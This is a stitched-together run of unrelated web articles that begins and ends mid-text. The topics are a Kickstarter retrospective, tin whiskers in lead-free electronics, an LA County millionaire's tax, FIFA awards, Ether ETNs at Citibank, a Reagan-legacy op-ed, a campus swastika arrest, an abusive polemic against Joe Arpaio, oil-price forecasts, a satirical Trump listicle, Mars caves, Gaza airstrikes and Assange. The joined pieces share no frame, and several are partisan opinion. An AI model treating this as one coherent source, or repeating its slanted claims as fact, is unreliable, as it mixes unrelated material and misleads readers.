Inglorious, but that’s still something that bothers me. Part of the problem is how my life has shifted in those five years: a new job that I find far more engaging, buying a house, the birth of our kid. My portions of Dungeon World were often written in free time during the day while at the office, but time like that has dried up. But the larger issue may be that my approach to game design is so much tinkering. I have found occasional time to work on a few projects, but have to remind myself the importance of finishing things that were promised ahead of things that have my attention. Ultimately this is a failure I can live with. We will deliver Inglorious, it’ll be good, and then I’ll let my design time wander. Delivering on the Half Life 3 timescale is not ideal, but it was a stretch goal among many we already delivered. Bottom line: don’t promise future work in a Kickstarter. If I ever go back to KS I won’t be offering any stretch goals that I haven’t already done my part of. So, five years. Work still to do, but an experience that’s changed me and a game that still makes me grin every time I play. Thanks for coming along. -By , 13 Figure 1: SEM image shows an example of a needle-like tin whisker. (Courtesy of CALCE/University of Maryland) “Tin whiskers” is not an imaginative, fanciful term for some aspect of electronics manufacturing. Tin whiskers are real, and they pose a serious problem for electronics of all types. When used as a finish material for electronic components, pure tin can spontaneously grow conductive whiskers. These structures can form electrical paths, affecting the operation of the subject device. This article discusses the problems caused by the removal of lead from electronics and describes some techniques to mitigate tin whiskers.Lead has been banned by the Restriction of Hazardous Substances (RoHS) directive. Although RoHS originated in Europe, its directive now affects virtually every piece of electronics gear manufactured today or planned for the near future. Connectors, passive and active components, switches, and relays now must all be lead-free.Why such a restrictive mandate? The impetus does not originate with electronics and semiconductors (ICs), but with perceived public health. European safety agencies determined that it was necessary to prevent lead from entering landfills because it is a neurotoxin and is known to inhibit hemoglobin production and affect brain development. Children are clearly more at risk than adults. Wonderfully, the removal of lead from paint and gasoline has measurably improved our environment and has been especially beneficial for children. Unfortunately, the switch to alternative solders in order to achieve RoHS compliance has created some challenges for the semiconductor industry, especially tin whiskers.Tin whiskers are not a new phenomenon; in fact, they were first reported in papers written in the 1940s. Tin whiskers are almost invisible to the human eye and are 10 to 100 times thinner than a human hair (see figure 1). They can bridge fairly large distances between electrical device leads, and in so doing, can short out the conductors. They can grow fairly rapidly; incubation can range from days to years.There is no set timetable for when they commence growing.When a whisker grows between two conductors, the whisker usually fuses (disappears), creating a momentary short circuit. In some cases the whisker forms a conductive path, creating false signals at an incorrect location which can, in turn, cause improper operation of the device in question. In very rare cases, rather than disappearing like a fuse link, the whisker can instead form a conductive plasma capable of carrying over 200 A. Whiskers can also break and fall into contact with printed circuit board (PCB) traces and other conductive pieces where they interfere with electrical signals. In optical systems they can disrupt or diminish the transmitted light; in MEMS they can interfere with the intended mechanical function.Whiskers are real and they cause real problems, but they are also random. How big an issue are they really?Pure, tin-plated electronics have become ubiquitous over just the past five years. These electronic systems form the backbone of our communications and financial systems, our manufacturing and transportation systems, and, of course, our power plants (nuclear and conventional). Tin whiskers have created conductive paths and other destruction in unintended places. In 2005, a random “full turn-off” signal at the U.S. Millstone nuclear plant in Connecticut was attributed to a tin whisker.Because of the potentially dangerous and unpredictable risks of pure tin, it is not presently used in medical devices. Lead is allowed for use in external medical devices until 2014 and for internal medical devices until 2021. -(Photo by Malingering via the LAist Featured Photos pool on Flickr) In order to pay for its pricey plan-of-attack to eradicate homelessness in Los Angeles County, the L.A. County Board of Supervisors is audaciously attempting to place a 'millionaire's tax' on the November ballot for the voters' consideration. The proposed tax would take a half-percent of personal incomes exceeding $1 million annually countywide, and devote the revenue towards funding the county government's 47-point plan for ending homelessness in Los Angeles. According to a poll conducted for the county government, a whopping 76 percent of L.A. County residents favor the proposed tax on L.A.'s many millionaires. The proposed tax is estimated to produce anywhere from $250 million to $300 million annually. While this isn't enough to fully fund all the programs the county wants to enact to fight homelessness, it's enough to fund significant progress. Actually getting the proposed tax onto the ballot, however, is far easier said than done. Under present California law, county governments do not have the authority to levy direct income taxes, which the proposed tax fundamentally is. In order to gain the authority to tax income, state lawmakers in both houses of the legislature, as well as Governor Jerry Brown, need to approve the county's proposal. This is a very hard sell, but dozens of county workers and lawmakers are acting quickly to turn the pitch into reality. Last week, County Supervisor Mark Ridley Thomas visited Sacramento to rally support in the California State Legislature for the proposed amendments. On Wednesday, a coalition of 29 state legislators signed an open letter to the Governor and other top state legislators pressing for the approval of a bill that would grant the L.A. County Board of Supervisors the ability to place the proposed tax on the ballot. State leaders unite on local "millionaires" tax to #endhomelessness in Los Angeles @SebastianMRT pic.twitter.com/s9SNS2ekrE — Assemblymember SRT (@sridleythomas) June 1, 2016 "I am really grateful for all the support this common sense proposal is generating," said Supervisor Sheila Kuehl in a statement. "We have an unprecedented opportunity to create a sustainable and substantial revenue source to fund our efforts to end homelessness. Legislators and members of the public alike understand that this is the critical time to act." The timeline, however, is very short. In order for the proposed tax to be placed on the ballot, both houses of the state legislature need to grant permission for L.A. The specific piece of legislation that must be modified is a budget trailer bill that is scheduled to be voted on by the legislature on June 15th. Governor Brown must then approve the bill by June 30th for the county to fulfill ballot filing requirements in early July. Though L.A. County has approved a strategic plan to combat homelessness across the southland, funding the plan is still largely up in the air. While L.A. County has allocated $100 million specifically for the homelessness cause, the county ultimately lacks a sustainable revenue source to fund anti-poverty and mental health programs long-term. The millionaire's tax is viewed as a sustainable option. This is a pretty big deal, and represents a rather fundamental, ultimately localizing shift in how local governments could look for revenue in the future. Coincidentally, the board's two Republican supervisors, Don Knabe and Michael Antonovich, do not support the proposed ballot measure. Knabe specifically worries that voters will be bombarded with tax options (for things like parks and transportation) in the voting booth come November. At the same time, authorizing L.A. County to collect income tax sets up a slippery-slope for future funding options. "The unprecedented ask of the State Legislature to give the County the authority to impose an income tax will open the door to serious unintended consequences in the future. If this proposed measure is approved, the next time the County goes to the State seeking funding for infrastructure or jails, we could be turned away and told to seek the means directly from our residents," said Andrew Veis, Knabe's Assistant Press Deputy, in a statement to LAist. In the event L.A. County is not granted the authority to collect income tax, the board of supervisors is prepared to explore other options. The most promising second option would be a 1/2 cent sales tax. 68 percent of L.A. County's residents are in favor of that option, 8 percent less than the 76 percent who favor a 'millionaire's tax.' -Football Prize to reflect season rather than calendar year Zidane, on the verge of being 'The Best' FIFA want to change the format of 'The Best' award, as the organisation has discussed the possibility of changing the awards to recognise the best players from each season rather than the calendar year. The Balon d'Or, meanwhile, will stay in its current format - the two awards will no longer be linked as The Best hopes to distance itself from the otherwise similar individual prize. Only in South America does the football season fall in line with the calendar year, with football elsewhere running from August to June. Ahead of this change to 'The Best', the timing of votes will be brought forward to the beginning of each season to allow for players and coaches to vote in each category with the previous season in mind. The Champions League will therefore have an impact on the vote, with Cristano Ronaldo's decisive goals at the end of the season and Gianluigi Buffon's form in goal for Juventus likely to be a consideration for those who vote. The timing of the final of the competition will also play favourably into both players' hands, with Real Madrid playing Juventus in Cardiff on June 3. London has been chosen as the location for the awards this season and the gala will take place on October 23, at which the male and female players with the most votes will collect their awards alongside the World XI. -The UK brokerage platform of Citibank, Citigroup's (C) consumer division, is now offering clients access to Ether exchange traded notes (ETNs), according to XBT Group, a Sweden-based company that is providing the cryptocurrency investing platform. Ethereum is the second most popular cryptocurrency with investors after Bitcoin. What distinguishes Ethereum from Bitcoin is the technology behind Ether, the unit of cryptocurrency used on the Ethereum blockchain. Today Ethereum is trading at $295 and has a market cap if $28 billion. XBT Provider, a CoinShares Company is the group behind the first Bitcoin and Ether ETNS. Last month, the group listed the world's first two Ether-tracking ETNs on Nasdaq Stockholm. Citibank move to give consumers access to Ether is yet again another positive move and for the cryptocurrency market. Earlier this week, the Chicago Mercantile Exchange (CME) Group announced it will launch Bitcoin futures this year. That legitimized the cryptocurrency all the more and send its valuation skyrocketing above $7,000. "I am particularly excited for UK investors who can now gain access to the exchange traded ether note via Citibank UK's brokerage platform," said Laurent Kssis, managing director of XBT Provider by CoinShares. "We've been working diligently to ensure that qualified UK investors have access to the ether ETNs, via their brokerage of choice, and the addition of access via Citibank UK is an important piece of this mission." "The addition of the ether ETN to the Citibank UK platform is yet another indicator of the rapid maturation of the crypto-asset space," Kssis added. "At CoinShares our focus is satisfying market demand by delivering the most fit for purpose, professional investment vehicles possible; a mission validated thus far by the response to the ether product from investors - more than $20 million in AUM in less than three weeks - and institutions such as CitiBank UK." At press time, Citibank failed to provide a comment on Ether ETNs. It is no secret banks and traditional financial institutions have been resistant to acknowledging cryptocurrencies. The most vocal on this investment type has been JPMorgan (JPM) CEO Jamie Dimon who criticized Bitcoin and dubbed it a "fraud' and "worse than tulip bulbs." There are a number of banks taking a look at crypto, some with a more positive outlook. For example Goldman Sachs (GS) CEO Lloyd Blankfein's has also in the past acknowledged Bitcoin and expressed the possibility that Goldman could get involved in the cryptocurrency, potentially via a trading operation focused on Bitcoin. UK investors can also access Ether and Bitcoin ETNs through a capital markets company called Hargreaves Lansdowne. The Bitcoin and Ether ETNs can be placed in a self-invested personal pension (SIPP). The move from Citibank further confirms the continued momentum for the mainstream adoption of crypto-currency by financial institutions. More of What's Trending on TheStreet: -"We are at the end of the Reagan era." Or, at least, that is the claim of voices as diverse as Newt Gingrich and Ed Rollins on the right and Sen. Chuck Schumer and pollster Stanley Greenberg on the left. It is true the Republican Party is having difficulty retooling its message for the 21st century. But so is the Democratic Party. Every presidential election is about change, and no more so than at the end of a two-term president's time in the White House. Parties have to constantly update themselves if they hope to remain relevant. The difficulty for both Republicans and Democrats is that our political system is at a point where more than the normal amount of party growth and development is needed. Both parties are suffering the consequences of seeing substantial parts of their 20th-century agendas adopted; both parties are struggling to fashion new answers to the new challenges of a young century. But that's not to say that the Reagan legacy is exhausted. Ronald Reagan's legacy was not simply that he was "a campaigner and orator of uncommon skill," as Don Campbell argued last week in USA Today. President Reagan's gifts to the Republican Party were ideas: growing the economy through tax cuts, limiting government's size, forcefully confronting totalitarian threats, making human rights a centerpiece of America's foreign policy, respecting unborn human life, empowering the individual with more freedom. Those ideas endure. They give Republicans a philosophical foundation on which to build. The Reagan coalition has a natural desire to stick together. Fiscal, defense and values conservatives have more in common with each other than with any major element of the Democratic Party's leadership. Democrats have a similar philosophical storehouse in the ideas of FDR and LBJ. Both expanded the size and scope of the federal government and saw it in almost an entirely positive light: as an agent of economic redistribution from the rich to the less affluent, as a provider to the poor and the disabled and as an enforcer of equal rights and equal justice. The Democratic Party has two challenges. One is that the modern economy has led voters to prefer markets, decentralization and consumer choice far more than centralized control by government and the substitution of "expert" decisions for those of the individual. The other challenge is that many in that party mistake the "Third Way" tactics of the Clinton years for a substantive approach to governing. Triangulation--making yourself look good at the expense of allies and adversaries in both parties--is lousy for providing coherent answers to modern issues. -University of Minnesota police arrested a student Thursday for allegedly vandalizing a public area of a residence hall with anti-Semitic graffiti. The 18-year-old student from St. Cloud faces a charge of criminal damage to property, according to a police report, and university officials called the case a bias crime. The student allegedly drew a swastika on a desk in a public part of the 17th Avenue Residence Hall, where he lives. The incident reported to police on Feb. 7 is one of seven cases of anti-Semitic graffiti or propaganda reported to the university’s Bias Response and Referral Network since the beginning of December. Thursday’s arrest occurred a week after another student found a swastika and a picture of a concentration camp drawn on a white board inside his room. “The University of Minnesota condemns all acts of hate on our campus,” a news release noted. -Trump Set To Pardon A Man Who Should Be Serving A Life Sentence For Entrapment Caitlin Johnstone Blocked Unblock Follow Following Aug 14, 2017 President Trump stated today that he is considering pardoning attention whore/mob boss/former sheriff Joe Arpaio for his contempt-of-court conviction after refusing a judge’s order to cease traffic patrols targeting undocumented immigrants. As with all presidential pardons (seriously how are these still a thing?), the prospect of this one has sparked instant outrage and controversy, which as always has broken down along predictable partisan lines. Those on what passes for America’s political left nowadays despise Arpaio for his consistent and extensive history of systemic racial profiling and brutal mistreatment of prisoners, while those on the right adore him for the exact same reasons. I’d like to quickly remind everyone of a rarely-discussed reason why Arpaio should have been rotting in a prison cell for a long time already, which has nothing to do with any of those things. In 2003, a Maricopa County Superior Court jury acquitted a man who had been in jail awaiting trial since 1999 on the grounds that he had been entrapped into a staged assassination attempt on Sheriff Arpaio. James Saville, a troubled youth with a checkered past, had his prime years from 18 to 22 ripped away from him, and was facing 22 more years if convicted. Had he served that full term, and had evidence not emerged that Arpaio’s goons planted evidence on him in a publicity bid to get their sheriff re-elected, Saville would still be in prison today. The Phoenix New Times reported in 2004: Four years after his televised arrest, a Maricopa County Superior Court jury ruled that Arpaio’s detectives had entrapped Saville. Entrapment defenses rarely succeed because they are exceedingly difficult to prove. James Saville’s attorney, Ulises Ferragut, had to prove that the idea of killing the sheriff had started with law enforcement, that deputies or their agents urged Saville to commit the crime and that Saville was not predisposed to do it. Ferragut proved all three elements, and James Saville walked out of Arpaio’s jail a free man. After the trial, jurors told Ferragut they were convinced that Saville had been a pawn in an elaborate media ploy. “Arpaio had cameras out there waiting to film the arrest,” Ferragut says. “The jurors indicated this was clearly a publicity stunt.” Per Phoenix Magazine in 2005: Saville’s attorney, Ulises Ferragut, prevailed on all three, even though he began the case by telling the jury that his client, in fact, did everything the prosecution was claiming: He designed a bomb, he bought all the parts for a bomb, he built the bomb, and he went to the parking lot where the sheriff’s car was parked. “But wait until you hear why he did all those things,” Ferragut told the jury. As it turned out, Ferragut had some powerful help in proving his case, including a dishonest informant who the jury clearly saw as the orchestrator, a defendant they did not believe was an angry young man, and a former undercover sheriff’s officer who they saw as courageous for spilling the beans. Jurors listened in disbelief as testimony showed it was the sheriff’s money that purchased the bomb parts, and an undercover officer who drove Saville around to buy the parts. They also heard how the sheriff and his top lieutenants had sat inside The Ro-man Table for more than two hours, waiting for the “bomber” to show up. They heard how the media had been alerted that morning that a bust was coming down, and how a television cameraman had waited in the bushes until around 3 p.m. And they learned that Jimmy Saville had been sitting in jail for four long years since then, waiting for his day in court, because the sheriff’s office had dragged its feet in producing evidence, dribbling out one report, one tape, one transcript at a time. After Saville’s highly publicized arrest Arpaio boldly stood before news cameras stating, “If they think they are going to scare me away with bombs and everything else, it’s not going to bother me.” He was re-elected months later. In 2004 Saville’s family sued Arpaio for $10 million dollars, and were given a settlement of an undisclosed amount, more than a million dollars of which came out of public coffers. I’ve got a soft spot in my heart for my Trump-supporting readers, but you are dead wrong about Arpaio. This man is a thug of the worst order, and it is only because of a gross power imbalance within America’s abominable judicial system that he is not currently locked away in a cage where he belongs. There is no way of knowing how many lives he has ruined in order to advance his personal ambitions, but given the way that he has built a career on targeting the most voiceless and powerless populations in America, it would be incredibly naive to think that James Saville was the only one. Joseph Arpaio is a brutish, evil man, and he deserves to die in prison. You are wrong to defend him, and the president is wrong to contemplate pardoning him. If he ends up serving any prison time at all for his judicial and wholly justified contempt-of-court conviction it will be far too little and far too late a punishment for his personal depravity, but still infinitely better than nothing. — — — I’m a 100 percent reader-funded journalist so if you enjoyed this, please consider helping me out by sharing it around, liking me on Facebook, following me on Twitter, or throwing some money into my hat on Patreon. -Volatility is all but certain to be the word of the year for the oil industry in 2017, as the uncertainty along all axes—politics, economic growth, supply disruptions, OPEC and non-OPEC quota compliance, and U.S. shale oil production—is probably as great as it has been since 1979 (Iranian Revolution, terrorism in Saudi Arabia, looming war between Iran and Iraq). Yet the price is high and predicted by many to go higher next year. (To many pundits, the optimism about next year’s oil price—and the U.S. stock market—should be taken as a bearish sign.) Politics: Terrorism remains the headline this week but it’s not clear that it will be any worse than now, that is, the occasional attack on civilian targets in the West and a greater number against a variety of targets in Iraq, Turkey, and Afghanistan. Terrorism in the latter three, sad as they are, have minimal impact on the world economy or the oil market, but the former conceivably could create uncertainty and reduce consumer spending, slowing economic growth. Bearish Russia emerges from the politic wilderness, sanctions end, improving the country’s economy and perhaps strengthening the ruble, which would be bearish for oil (stronger ruble lowers profits on oil sales in dollars). At the same time, Putin should have no trouble maintaining compliance with the agreed upon production cuts. Mildly bullish. The Trump factor: While there might not be a trade war or recession due to economic policy uncertainty, as Trump’s intentions appear relatively unrelated to his statements or campaign promises, there is potential that his Administration will trigger or at least enable a recession. The unleashing of ‘animal spirits’ of businesspeople is thought likely to produce an economic/investment boom, combined of course with tax reform/reduction for corporations. Bearish early, bullish later. Economic growth: Aside from possible Trump moves, economic growth in China, Latin America and Europe remain uncertain. Reforms in Argentina and Mexico are hopeful signs, but China remains an opaque mountain of debt, Europe has numerous trouble spots but shows hints of recovery, the strong dollar assisting their trade balance. Bearish, but with bullish hopes. Supply disruptions: The level of ‘lost’ supply has dropped recently, especially with the lifting of sanctions against Iran, but Libya, Nigeria and Venezuela all remain very serious question marks. The former two keep threatening to restore shut-in supply, but their oil bark has been worse than their oil bite—to date. Libya could apparently restore a significant amount of supply quickly with resolution of local disputes (and has restored two fields to production in recent days), but Nigeria has a tougher political hill to climb. Bearish. Venezuela only needs Mel Gibson in a supercharged Ford Falcon with a sawed-off shotgun to become wholly apocalyptic. (Alternatively, President Maduro reminds one of the liberator in Woody Allen’s “Bananas,” whose decrees include ordering the citizens to wear their underwear on the outside, so hygiene can be monitored.) The possibility of either widespread political unrest and/or an oil workers’ strike is growing and could mean at least a modest spike in oil prices, although it is unlikely to be a lasting increase. Bullish. Initial signs are that OPEC/non-OPEC compliance with promised production cuts is robust, conceivably as much as 2/3s or about 1.2 mb/d. If Brent hits $60 or more, producers should be watched carefully for signs of backsliding, but initial compliance should reduce global inventories slightly. Bullish early, bearish later. Shale: The supply/demand balance will crucially depend on investment in the U.S. Southwest, mainly the Permian Basin, with the STACK and SCOOP basins not quite ready to soar. However, if the result is that total U.S. production rises sharply, then markets will fear a new glut plus a potential shift by the Saudi government back towards defending market share. Bearish. A suggested timeline: First quarter, cold weather and the Trump boom will keep prices up, with WTI between $50 and 60/barrel. If Venezuela ceases production for more than a week or two, add $5-10/barrel, but only while production is shut down. Going into the 2nd quarter, fears about the global economy rise, with U.S. stock markets in retreat and Trump trying to change U.S. trade policies. At this point, rising U.S. shale production should be growing fast enough to worry traders and foreign oil producers; if Libyan oil remains on an upward trajectory, the perception of a delayed market re-equilabration will grow. Prices dropping below $50 as quarter proceeds. Third quarter, the combination of OPEC/non-OPEC compliance to production cuts and global economic growth will determine whether prices threaten the $40 level or remain close to $50. Poor compliance, especially from Iraq and Russia, and rapid growth in U.S. shale could move Saudi policy into reverse. Fourth quarter, “hard to see is the future,” Yoda. As always, recall my piece explaining how the short-term price is highly uncertain compared to the long-term price, but there seems little chance that volatility will decline. Save Save Save Save Save Save Save Save -He never said any of this, you guys. 1. Donald Trump never said gun advocates should try to stop Hillary Clinton, you guys. Eric Thayer / Reuters Despite Trump telling a North Carolina rally on August 9 that "Second Amendment people" may be able to stop Hillary Clinton from appointing judges who would rule against gun rights, he says he actually never said that. As the Trump campaign pointed out, it was the "dishonest media" that mischaracterized his remarks about harnessing the "political power" of "Second Amendment people." "There can be no other interpretation," Trump told Fox News. "Even reporters have told me. I mean, give me a break." 2. Donald Trump never said that Russia should hack Hillary Clinton's emails, you guys. Carlo Allegri / Reuters Despite Trump telling reporters in Florida on July 27 that Russia should try to go into his opponent's emails to try to uncover her "missing" correspondence, Trump says he actually never really said that. "Of course I was being sarcastic," he told Fox News of his earlier request that “Russia, if you’re listening, I hope you’re able to find the 30,000 emails that are missing. I think you will probably be rewarded mightily by our press. Let’s see if that happens. That will be next.” 3. Donald Trump never mocked a reporter with a disability, you guys. Randall Hill / Reuters Despite flailing his arms about, making a claw with his hand, and stammering his speech while he performed an impression in November of a New York Times reporter with arthrogryposis, which limits the functioning of his joints, Trump says he never actually mocked the journalist. “I spend millions a year, or millions of dollars on ramps, and get rid of the stairs and different kinds of elevators all over [in Trump-constructed buildings] and I’m gonna mock? I would never do that,” he said last month. “Number one, I have a good heart. Number two, I’m a smart person.” Besides, despite telling the South Carolina crowd in November "you ought to see this guy," Trump says he has never actually even seen the reporter. “I didn’t know what he looked like. I didn’t know he was disabled. I didn’t know it, I didn’t know it at all. I had no idea. So I started imitating somebody — I didn’t speak to the guy — somebody that was groveling," he said later. 4. Donald Trump never blamed Megyn Kelly's menstrual cycle for her tough debate questions, you guys. Chip Somodevilla / Getty Images/Craig Barritt / Getty Images for Cosmopolitan Magazine and WME Live Despite Trump telling CNN in August 2015 that Fox News' Megyn Kelly had “blood coming out of her eyes, blood coming out of her wherever" when she asked him tough questions at a GOP debate, Trump says he never actually said she was being forceful because of her menstrual cycle. He was simply referring to blood coming out of her nose, he tweeted shortly after. “I meant her nose or her ears or her mouth,” Trump said in Florida earlier this month. “But these people are perverted and they thought I was talking about somewhere else." This was despite him also telling a Wisconsin television station in March that his remarks about women are mostly in jest, except for his comments about the Fox debate. "I didn’t say that in jest at all. I said that 100% because Megyn Kelly never treated me fairly and everybody knows it," he said. 5. Donald Trump never said that John McCain is not a war hero, you guys. Scott Olson / Getty Images Despite Trump disparaging Sen. John McCain for being captured by the enemy during the Vietnam War and saying he was "not a war hero," Trump says he actually "never did that." “I came here because you made a comment to John McCain that you don’t think captured soldiers are heroes,” a man, who was introduced as the father of a soldier who was captured and killed in Iraq, asked Trump at an Ohio rally in March. “Oh, no, no, no, I never did that,” Trump responded. “What I want you to do is just clarify that for me,” the man continued, “because I think it’s important for all … the veterans in Ohio [to hear your answer], because I know what you were doing–” “You knew what I was doing, you knew exactly what I was doing,” Trump said, shaking the man’s hand. “They are heroes just so you understand, real heroes, OK? You know that.” 6. Donald Trump never said he supported invading Iraq, you guys. Carlo Allegri / Reuters Despite Trump explicitly telling radio host Howard Stern in 2002 that he supported the invasion of Iraq, and writing in 2000 that "Iraq remains a threat" because of its supposed nuclear arsenal, and saying in 2003 that the US-led Iraq invasion "looks like a tremendous success from a military standpoint," Trump has said again and again he never actually supported the invasion. 7. Donald Trump never actually supported the intervention in Libya, you guys. Eric Thayer / Reuters Despite Trump saying in 2011 the US needed to "go in" to Libya "to save these lives," and criticizing the US for "not bringing [soldiers] in to stop this horrible carnage" by Libyan dictator Muammar al-Qaddafi, and saying that "if you don’t get rid of Qaddafi, it’s a major, major black eye for [the US]," he says he was never actually in favor of a Libyan invasion. "I never discussed that subject. I was in favor of Libya? We would be so much better off if Gaddafi were in charge right now," he said in February. 8. Donald Trump never said he supported the toppling of Egypt's Hosni Mubarak, you guys. Eric Thayer / Reuters Despite Trump telling Fox News in 2011 that it was "a good thing" former Egyptian President Hosni Mubarak was ousted from power during that country's Arab Spring revolution and implying he was corrupt, the Republican nominee says he never actually supported Mubarak being thrown out of office. “[Obama] supported the ouster of a friendly regime in Egypt that had a longstanding peace treaty with Israel, and then helped bring the Muslim Brotherhood to power in its place,” Trump said in April. 9. Donald Trump never said he has a relationship with Vladimir Putin, you guys. Mindaugas Kulbis / AP Despite Donald Trump saying in 2013 that he has "a relationship" with Vladimir Putin, and despite him saying in 2014 that the Russian leader sent him a present and that the two had spoken "indirectly and directly," and despite him saying at a 2015 debate that he "got to know [Putin] very well" when they were on 60 Minutes together (albeit from different continents), Trump says he never actually met with Putin. "I have no relationship with him," he told ABC in July. "Just so you understand, he said very nice things about me, but I have no relationship with him. I don't -- I've never met him. … I have no relationship with Putin. I don't think I've ever met him. I never met him." 10. Donald Trump never said he would pay the legal fees of supporters who assault protesters, you guys. Mary Altaffer / AP -+ Play Audio | + Download Audio | + Join mailing list September 21, 2007: NASA's Mars Odyssey spacecraft has discovered entrances to seven possible caves on the slopes of a Martian volcano. The find is fueling interest in potential underground habitats and sparking searches for caverns elsewhere on the Red Planet. Very dark, nearly circular features ranging in diameter from about 328 to 820 feet puzzled researchers who found them in images taken by NASA's Mars Odyssey and Mars Global Surveyor orbiters. Using Mars Odyssey's infrared camera to check the daytime and nighttime temperatures of the circles, scientists concluded that they could be windows into underground spaces. Above: A montage image of the "Seven Sisters"--seven dark openings into cavenrous spaces on the slopes of Arsia Mons. Researchers have nicknamed the features Dena, Chloe, Wendy, Annie, Abby, Nikki and Jeanne. [More] Evidence that the holes may be openings to cavernous spaces comes from the temperature differences detected from infrared images taken in the afternoon vs. the pre-dawn morning. From day to night, temperatures of the holes change only about one-third as much as the change in temperature of surrounding ground surface. Sign up for EXPRESS SCIENCE NEWS delivery Sign up for EXPRESS SCIENCE NEWS delivery "They are cooler than the surrounding surface in the day and warmer at night," said Glen Cushing of the U.S. Geological Survey's Astrogeology Team and of Northern Arizona University, Flagstaff, Ariz. "Their thermal behavior is not as steady as large caves on Earth that often maintain a fairly constant temperature, but it is consistent with these being deep holes in the ground." A report of this discovery by Cushing and his co-authors was published online recently by the journal Geophysical Research Letters. "Whether these are just deep vertical shafts or openings into spacious caverns, they are entries to the subsurface of Mars," said co-author Tim Titus of the U.S. Geological Survey in Flagstaff. "Somewhere on Mars, caves might provide a protected niche for past or current life, or shelter for humans in the future." The discovered holes, dubbed "Seven Sisters," are at some of the highest altitudes on the planet, on a volcano named Arsia Mons near Mars' tallest mountain. Above: Each of the three images covers the same patch of Martian ground centered on skylight "Annie," which has a diameter about double the length of a football field. The left panel shows an ordinary white light view of Annie; right panels show infrared images in mid-afternoon (center) and just before sunrise (right). [More] "These are at such extreme altitude, they are poor candidates either for use as human habitation or for having microbial life," Cushing said. "Even if life has ever existed on Mars, it may not have migrated to this height." The new report proposes that the deep holes on Arsia Mons probably formed as underground stresses around the volcano caused spreading and faults that opened spaces beneath the surface. Some of the holes are in line with strings of bowl-shaped pits where surface material has apparently collapsed to fill the gap created by a linear fault. The observations have prompted researchers using Mars Odyssey and NASA's newer Mars Reconnaissance Orbiter to examine the Seven Sisters. The goal is to find other openings to underground spaces at lower elevations that are more accessible to future missions to Mars. The Jet Propulsion Laboratory manages Mars Odyssey and Mars Reconnaissance Orbiter for the NASA Science Mission Directorate, Washington. Arizona State University operates the Mars Odyssey's Thermal Emission Imaging System. For additional information about Mars Odyssey and the new findings, visit the Odyssey mission home page. Production Editor: Dr. Tony Phillips | Credit: Science@NASA -JERUSALEM (CNN) -- At least three Israeli missiles hit the Palestinian Interior Ministry in Gaza early Thursday, hours after Palestinian militants fired more than 40 Qassam rockets into southern Israel. One of those rockets struck near a college, killing one person, according to the Israeli military and emergency medical services. The Palestinian rockets are a near daily occurrence but have only occasionally injured or killed people. The strike at the ministry injured several people, according to Palestinian sources. Another rocket hit the building several minutes later, the sources said. A six-month-old child was struck by shrapnel and killed, the sources said. The ministry strike was part of a series of Israeli airstrikes on Gaza in retaliation for the rocket attack. They included one outside Gaza City that killed two children, Palestinian medical sources said. The Israeli military confirmed eight airstrikes in Gaza. The targets were rocket manufacturing and launching sites and a headquarters building, the Israelis said. Palestinian sources said two militants were killed. The continuing violence came as an opinion poll in a leading Israeli paper suggested most Israelis think their government should negotiate with Hamas -- the militants in control of Gaza -- for a cease-fire and the release of a captured soldier. The poll, conducted by the newspaper Haaretz and the polling company Dialog, found 64 percent of Israelis in favor of talks. "It now appears that this opinion is gaining traction in the wider public, which until recently vehemently rejected such negotiations," according to the newspaper. "According to the findings, Israelis are fed up with seven years of Qassam rockets falling on Sderot and the communities near Gaza, as well as the fact that [Gilad] Shalit has been held captive for more than a year and a half," the newspaper said. Shalit was 19 when he was captured June 25, 2006, by Palestinian militants who tunneled into Israel and attacked an army outpost near the Gaza-Israel-Egypt border. Apart from the one death and one injury Wednesday by Palestinian rockets that hit Sapir College, near Sderot, no other injuries were reported from the rockets. Another Israeli airstrike -- targeting a rocket cell in northern Gaza -- killed one civilian and injured three others just outside Jebalya, Palestinian medical and security sources said. Five Hamas members were killed in an earlier airstrike in Gaza, the sources said. The Israeli military confirmed it carried out the airstrikes in northern Gaza, but offered no details. Earlier this month, Israeli Prime Minister Ehud Olmert resisted pressure to launch a broader military operation against Palestinian militants in Gaza after a rocket attack seriously wounded an 8-year-old boy in Sderot. The boy's leg was amputated. Instead, Israel retaliated with troops carrying out airstrikes in Gaza against Hamas targets. Olmert has vowed not to "slacken" against the ongoing attacks on Israel, which he described as an "almost daily war." "We will continue to struggle in order to reduce to nil the threat that is upsetting the quality of life of residents of the south," he said. As part of that struggle, Olmert said, Israel will continue its military operations and its blockade of "materials that could serve the terrorist organizations, including energy." Israel has allowed some fuel and medical supplies into Gaza, but has kept the border crossings closed except to meet emergency humanitarian needs. The block on food, fuel and medicine has led to long lines at stores and left hospitals without heat. Human rights groups have protested against the blockade, accusing Israel of collectively punishing civilians along with the territory's Hamas leadership. On Monday, thousands of people formed a human chain along Gaza's roads in a Hamas-led protest over the blockade. Hamas does not recognize Israel's right to exist, and Israel and the United States consider it a terrorist organization. "This may not always be loved but it is an important part of counterterrorist activity," Olmert said. He also said the Israeli government is building 13 new schools in Sderot and surrounding areas that will be reinforced to protect them from the salvo of rockets. It is part of a $14 million plan approved by the Knesset in January. The poll figures were obtained in a Haaretz-Dialog poll conducted Tuesday under the supervision of Professor Camil Fuchs of Tel Aviv University. E-mail to a friend All About Israel • Hamas -The U.K. lawyer for the enigmatic founder of WikiLeaks, Julian Assange, says his client is preparing to meet with police. WikiLeaks founder Julian Assange is arranging to meet with the police, according to his U.K. lawyer. ((Lennart Preiss/Associated Press)) Mark Stephens told BBC television that he and his client "are in the process of making arrangements to meet with the police by consent in order to facilitate the taking of that question-and-answer that's needed." A European arrest warrant for the Australian-born fugitive behind the controversial whistleblowing website reached Scotland Yard on Monday. Assange, who is reportedly in hiding in Britain, is wanted by Swedish prosecutors in connection with allegations of rape and sexual molestation involving two women. He has rejected the accusations as part of a smear campaign against him. WikiLeaks has so far released hundreds of secret U.S. diplomatic cables and correspondences to selected media, embarrassing world leaders and prompting allegations that their publication could compromise some nations' security. The site is believed to possess as many as 250,000 such cables and similar documents. Nothing stopping Assange from returning to Australia No details were offered about when police and Assange might sit down for questioning about the allegations. Meanwhile, the Swiss post office's financial arm, Postfinance, cut off Assange's bank account on Monday, reasoning that the "Australian citizen provided false information regarding his place of residence during the account opening process." An undetermined amount of money will be returned to Assange, Postfinance spokesman Alex Josty told The Associated Press. "That's his money; he will get his money back," Josty said. "We just close the account." The Swiss account has been a key fundraising tool to keep WikiLeaks online and had euro 31,000 ($41,400 Cdn) in it, according to The Associated Press, citing Assange's law firm. Australia's attorney-general, Robert McClelland, has said there is nothing barring Assange from returning home, and he is "entitled" to obtaining consular 